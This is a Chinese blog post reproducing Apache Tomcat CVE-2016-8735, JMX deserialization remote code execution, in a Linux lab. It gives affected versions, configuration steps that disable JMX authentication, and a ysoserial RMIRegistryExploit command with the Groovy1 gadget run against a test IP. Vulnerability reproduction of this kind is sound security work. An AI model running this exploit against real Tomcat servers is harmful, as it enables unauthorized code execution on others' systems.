前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apache Tomcat Remote Code Execution(CVE-2016-8735)

Apache Tomcat Remote Code Execution(CVE-2016-8735)

作者头像
风流
发布2019-12-10 12:21:29
1.2K0
发布2019-12-10 12:21:29
举报
文章被收录于专栏:Urahara BlogUrahara Blog

Versions Affected

代码语言:javascript
复制
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
Earlier, unsupported versions may also be affected.

Description

​ 这个漏洞实质还是JMX反序列化漏洞,tomcat同样也用了JmxRemoteLifecycleListener这个监听器,但是tomcat在Oracle修复这个漏洞后自己没有及时更新,导致了反序列还依旧存在。网上搜了很多关于该漏洞的分析文章基本上都是0c0c0f牛在微信公众号里文章的转载或是变种,也基本都是在window系统上做的测试,所以也就想在linux也测试一下,也就有了这篇文章,大牛们勿喷呐= =、。

Test Environment

Linux Ubuntu server x86 Apache Tomcat (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz) catalina-jmx-remote (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar) //添加至%TOMCAT_HOME%/lib/目录下 Groovy (https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar) //添加至 %TOMCAT_HOME%/lib/目录下 POC (https://github.com/frohoff/ysoserial)

Test Steps

  1. 修改 tomcat server.xml 配置文件,添加以下内容: <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
  2. 修改 tomcat/bin 目录下 catalina.sh ,在# —– Execute The Requested Command ——–处添加以下内容: # ----- Execute The Requested Command ----------------------------------------- CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false //设为无账号密码认证 -Djava.rmi.server.hostname=192.168.64.7" //设置hostname为服务器ip地址,否则JMX无法进行远程访问
  3. ./startup.sh启动tomcat服务
  4. 执行POC java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.64.7 10001 Groovy1 "touch /tmp/tomcat_test"
Tomcat-CVE-2016-8735
Tomcat-CVE-2016-8735

​ 关于linux配置tomcat运行远程监控(JMX)这里有个坑,网上搜到的绝大多数关于linux下tomcat jmx配置的文章,都使用了只修改catalina.sh为以下内容的方法,包括Zabbix Wiki也是推荐的这种方式:

代码语言:javascript
复制
   CATALINA_OPTS="$CATALINA_OPTS 
   -Dcom.sun.management.jmxremote
   -Dcom.sun.management.jmxremote.port=9999
   -Dcom.sun.management.jmxremote.ssl=false
   -Dcom.sun.management.jmxremote.authenticate=false
   -Djava.rmi.server.hostname=192.168.64.7"

​ 但就这种方式而言,需要注意的是 catalina.sh 中提供的默认变量名 JAVA_OPTS 和 CATALINA_OPTS。由于 JAVA_OPTS 所添加的参数会在 tomcat 开启和关闭时都运行,所以如果你把 Dcom.sun.management.jmxremote.port=9999 写在 JAVA_OPTS 中时,关闭服务的时候是会报错的,而且在该漏洞场景中攻击利用也是不会成功的,因此需要注意的是在平常渗透过程当中若在linux下遇到了该漏洞,利用不成功也是正常的。


### Referer

http://seclists.org/oss-sec/2016/q4/502

微信公众号:0c0c0f

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Versions Affected
  • Description
  • Test Environment
  • Test Steps
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档